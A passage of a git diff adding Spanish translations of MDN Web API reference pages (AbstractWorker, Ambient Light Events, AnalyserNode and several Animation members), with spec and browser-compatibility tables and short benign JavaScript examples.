+<p>El código del worker se carga desde el archivo <code>"worker.js"</code>. Éste código asume que hay un elemento del tipo {{HTMLElement("input")}} representado como <code>first</code>; un gestor de evento para el evento {{domxref("change")}} se define para que cuando el usuario cambie el valor de <code>first</code>, un mensaje se enviará al worker haciendoselo saber.</p>
+
+<p>Para ejemplos completos, visitar:</p>
+
+<ul>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-web-worker">Basic dedicated worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-web-worker/">run dedicated worker</a>).</li>
+ <li><a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">Basic shared worker example</a> (<a class="external external-icon" href="http://mdn.github.io/simple-shared-worker/">run shared worker</a>).</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#the-abstractworker-abstract-interface", "AbstractWorker")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>No existen cambios para {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Workers", "#the-abstractworker-abstract-interface", "AbstractWorker")}}</td>
+   <td>{{Spec2("Web Workers")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable()}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(4)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10</td>
+   <td>10.6</td>
+   <td>4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vease_también">Vease también</h2>
+
+<ul>
+ <li>Las interfaces de {{domxref("Worker")}}, {{domxref("ServiceWorker")}} y {{domxref("SharedWorker")}}, que están basadas en el <code>AbstractWorker</code> .</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Usando Web Workers</a></li>
+</ul>
diff --git a/files/es/web/api/ambient_light_events/index.html b/files/es/web/api/ambient_light_events/index.html
new file mode 100644
index 0000000000..4ea45847c0
--- /dev/null
+++ b/files/es/web/api/ambient_light_events/index.html
@@ -0,0 +1,114 @@
+---
+title: Luz Ambiental Eventos
+slug: Web/API/Ambient_Light_Events
+translation_of: Web/API/Ambient_Light_Events
+---
+<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
+
+<p>Los eventos de luz ambiental son una forma práctica de hacer una página web o una aplicación al tanto de cualquier cambio en la intensidad de la luz. Se les permite reaccionar a un cambio de este tipo, por ejemplo, cambiando el contraste de color de la interfaz de usuario (UI) o cambiando la exposición necesaria para tomar una foto.</p>
+
+<h2 id="Eventos_de_luz"><span class="short_text" id="result_box" lang="es"><span>Eventos</span> <span>de luz</span></span></h2>
+
+<p>Cuando el sensor de luz de un dispositivo detecta un cambio en el nivel de luz, notifica al navegador de ese cambio. Cuando el navegador recibe dicha notificación, se dispara un {{domxref ( "DeviceLightEvent")}} evento que proporciona información sobre la intensidad de la luz exacta.</p>
+
+<p>Este evento puede ser capturado en el plano objeto de la ventana mediante el uso de la {{domxref ( "EventTarget.addEventListener", "addEventListener")}} El método (usando el {{event( "devicelight")}} nombre del evento) o adjuntando una controlador de eventos al {{domxref ( "window.ondevicelight")}} propiedad.</p>
+
+<p>Una vez capturado, el objeto de evento da acceso a la intensidad de la luz expresada en lux a través de la {{domxref ( "DeviceLightEvent.value")}} propiedad.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js">if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value &lt; 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('devicelight event not supported');
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <td>Especificaciones</td>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("AmbientLight", "", "Ambient Light Events")}}</td>
+   <td>{{Spec2("AmbientLight")}}</td>
+   <td>definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_Navegador">Compatibilidad del Navegador</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The {{event("devicelight")}} event is implemented and preference enabled by default in Firefox Mobile for Android (15.0) and in Firefox OS (B2G). Starting with Gecko 22.0 {{geckoRelease("22.0")}} a desktop implementation for Mac OS X is also available. Support for Windows 7 is in progress (see {{bug(754199)}}).</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{event("devicelight")}}</li>
+</ul>
diff --git a/files/es/web/api/analysernode/index.html b/files/es/web/api/analysernode/index.html
new file mode 100644
index 0000000000..73a51adba8
--- /dev/null
+++ b/files/es/web/api/analysernode/index.html
@@ -0,0 +1,218 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>La interfaz <strong><code>AnalyserNode</code></strong><strong> </strong>representa un nodo habilitado para proveer frecuencia en tiempo real y analisis de tiempo-dominio. Es un {{domxref("AudioNode")}} que pasa el flujo de audio sin modificación desde el origen de entrada a la salida, pero, te permite obtener los datos generados, procesarlos, y crear visualizaciones de audio.</p>
+
+<p>Un <code>AnalyzerNode</code> tiene exactamente una entrada y una salida. El nodo trabaja incluso si la salida no se encuentra conectada.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/9707/WebAudioFFT.png" style="height: 174px; width: 661px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn>Numero de entradas</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Numero de salidas</dfn></th>
+   <td><code>1</code> (puede estar desconectada)</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Modo de conteo de canal</dfn></th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Conteo de cana</dfn></th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interpretación de canal</dfn></th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Herencia">Herencia</h2>
+
+<p>Esta interfaz hereda de las siguientes interfaces padre:</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>Is an unsigned long value representing the size of the FFT (<a href="http://en.wikipedia.org/wiki/Fast_Fourier_transform" title="/en-US/docs/">Fast Fourier Transform</a>) to be used to determine the frequency domain.</dd>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>Is an unsigned long value half that of the FFT size. This generally equates to the number of data values you will have to play with for the visualization.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>Is a double value representing the minimum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>Is a double value representing the maximum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>Is a double value representing the averaging constant with the last analysis frame — basically, it makes the transition between values over time smoother.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0 {{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/animation/animación/index.html b/files/es/web/api/animation/animación/index.html
new file mode 100644
index 0000000000..770036b76d
--- /dev/null
+++ b/files/es/web/api/animation/animación/index.html
@@ -0,0 +1,106 @@
+---
+title: Animation()
+slug: Web/API/Animation/Animación
+tags:
+  - Animacion
+translation_of: Web/API/Animation/Animation
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations API") }}</p>
+
+<p>El constructor <strong><code>Animation()</code></strong> de <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> devuelve una instancia del objeto <code>Animation</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>animation</em> = new Animation([<em>effect</em>][, <em>timeline</em>]);</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>effect</code> {{optional_inline}}</dt>
+ <dd>El efecto objetivo, es un objeto de la interfaz {{domxref("AnimationEffectReadOnly")}} ,para asignarlo a la animación. Aunque en el futuro podrían ser asignados otros efectos como <code>SequenceEffect</code> o <code>GroupEffect</code>, el único efecto disponible actualmente es {{domxref("KeyframeEffect")}}. Este puede ser <code>null</code> (valor por defecto) para indicar que no debe aplicarse ningún efecto.</dd>
+ <dt><code>timeline</code> {{optional_inline}}</dt>
+ <dd>Especifica el  <code>timeline</code> con el que asociar la animación, como un objeto de tipo basado en la interfaz {{domxref("AnimationTimeline")}} . Actualmente el único tipo de línea de tiempo disponible es {{domxref("DocumentTimeline")}}, pero en el futuro habrá lineas de tiempo asociadas , por ejemplo, con gestos o desplazamiento. El valor por defecto es {{domxref("Document.timeline")}}, pero puede ser establecido en <code>null</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>En el ejemplo <a href="http://codepen.io/rachelnabors/pen/eJyWzm/?editors=0010">Follow the White Rabbit </a>, el constructor <code>Animation()</code> es usado para crear una <code>Animation</code> para el <code>rabbitDownKeyframes</code> utilizando el <code>timeline</code> del documento:</p>
+
+<pre class="brush: js">var rabbitDownAnimation = new Animation(rabbitDownKeyframes, document.timeline);
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-animation', 'Animation()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}} <sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada de manera predeterminada en Firefox Developer Edition y Nightly builds. Puedes habilitarla en compilaciones de lanzamiento estableciendo la preferencia de <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puede desactivarse en cualquier versión de Firefox estableciendo esta preferencia en <code>false</code>.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/cancel/index.html b/files/es/web/api/animation/cancel/index.html
new file mode 100644
index 0000000000..e08956221a
--- /dev/null
+++ b/files/es/web/api/animation/cancel/index.html
@@ -0,0 +1,119 @@
+---
+title: Animation.cancel()
+slug: Web/API/Animation/cancel
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - cancel
+  - metodo
+  - waapi
+translation_of: Web/API/Animation/cancel
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>El método <code><strong>cancel()</strong></code> de la Web Animations API de la interfaz {{domxref("Animation")}} borra todos los {{domxref("KeyframeEffect")}} causados por esta animación y aborta su reproducción.</p>
+
+<div class="note">
+<p>Cuando se cancela una animación, su {{domxref("Animation.startTime", "startTime")}} y su {{domxref("Animation.currentTime", "currentTime")}} se establecen en  <code>null</code>.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>Animation</em>.cancel();</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>None.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>None.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<p>Este método no arroja excepciones directamente; sin embargo, si la animación {{domxref ("Animation.playState", "playState")}} no está <code>"idle"</code>"inactiva" cuando se cancela, el {{domxref ("Animation.finished", "current finished promise", "", 1)}} se rechaza con un {{domxref ("DOMException")}} llamado <code>AbortError</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-cancel', 'Animation.cancel()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code> en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("KeyframeEffect")}}</li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.playState")}}</li>
+ <li>{{domxref("Animation.finished")}} devuelve la promesa que esta acción rechazará si la animación de <code>playState</code> no está <code>"idle"</code> ("inactiva") .</li>
+</ul>
diff --git a/files/es/web/api/animation/effect/index.html b/files/es/web/api/animation/effect/index.html
new file mode 100644
index 0000000000..f4283c52c4
--- /dev/null
+++ b/files/es/web/api/animation/effect/index.html
@@ -0,0 +1,104 @@
+---
+title: Animation.effect
+slug: Web/API/Animation/effect
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Reference
+  - efecto
+translation_of: Web/API/Animation/effect
+---
+<div>{{ SeeCompatTable() }} {{ APIRef("Web Animations") }}</div>
+
+<p>La propiedad <code><strong>Animation</strong></code><strong><code>.effect</code></strong> de la  <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a> obtiene y establece el efecto objetivo de una animación. El efecto objetivo puede ser un objeto efecto de un tipo basado en {{domxref("AnimationEffectReadOnly")}}, como {{domxref("KeyframeEffect")}}, o <code>null</code>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>effect</em> = <em>Animation</em>.effect;
+
+<em>Animation</em>.effect = <em>{{domxref("AnimationEffectReadOnly")}}</em></pre>
+
+<h3 id="Valor">Valor</h3>
+
+<p>Un objeto {{domxref("AnimationEffectReadOnly")}} que describe el efecto de animación objetivo para la animación, o <code>null</code> para indicar que el efecto no está activo.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-effect', 'Animation.effect' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[1][2]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[1][2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La  Web Animations API solo está habilitada por defecto en Firefox Developer Edition y Nightly builds. Puedes habilitarlo en versiones Beta y de lanzamiento estableciendo la preferencia <code>dom.animations-api.core.enabled</code>en <code>true</code>, y puedes deshabilitarlo en cualquier versión de Firefox estableciendo esta propiedad en <code>false</code>.</p>
+
+<p>[2] Esta propiedad es compatible con Firefox 48 pero es de solo-lectura. La versión Firefox 51 admite también escritura.</p>
+
+<h2 id="Ver_también" style="line-height: 30px; font-size: 2.14285714285714rem;">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("AnimationEffectReadOnly")}}</li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
diff --git a/files/es/web/api/animation/finish/index.html b/files/es/web/api/animation/finish/index.html
new file mode 100644
index 0000000000..69ed0e4a68
--- /dev/null
+++ b/files/es/web/api/animation/finish/index.html
@@ -0,0 +1,147 @@
+---
+title: Animation.finish()
+slug: Web/API/Animation/finish
+tags:
+  - API
+  - Animacion
+  - Animaciones Web
+  - Experimental
+  - Finish
+  - Reference
+  - metodo
+  - waapi
+translation_of: Web/API/Animation/finish
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<div>
+<p><span class="seoSummary">El método <strong><code>finish()</code> </strong>de la interfaz {{domxref("Animation")}} de la <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>  </span>establece el tiempo de reproducción actual hasta el final de la animación correspondiente a la dirección de reproducción actual. Es decir, si la animación se está reproduciendo hacia adelante, establece el tiempo de reproducción a la longitud de la secuencia de animación, y si la animación se reproduce hacia atras , (habiendo llamado a su método {{domxref("Animation.reverse", "reverse()")}}), establece el tiempo de la reproducción en 0.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>Animation</em>.finish(); </pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<p>None.</p>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>None.</p>
+
+<dl>
+</dl>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<dl>
+ <dt><code>InvalidState</code></dt>
+ <dd>La velocidad de reproducción del reproductor es 0 o la velocidad de reproducción de la animación es mayor que 0 y el tiempo de finalización de la animación es infinito.</dd>
+</dl>
+
+<h2 id="Ejemplos"><strong>Ejemplos</strong></h2>
+
+<p>El siguiente ejemplo muestra cómo usar el método <code>finish()</code> y captura un error <code>InvalidState</code>.</p>
+
+<pre class="brush: js">interfaceElement.addEventListener("mousedown", function() {
+  try {
+    player.finish();
+  } catch(e if e instanceof InvalidState) {
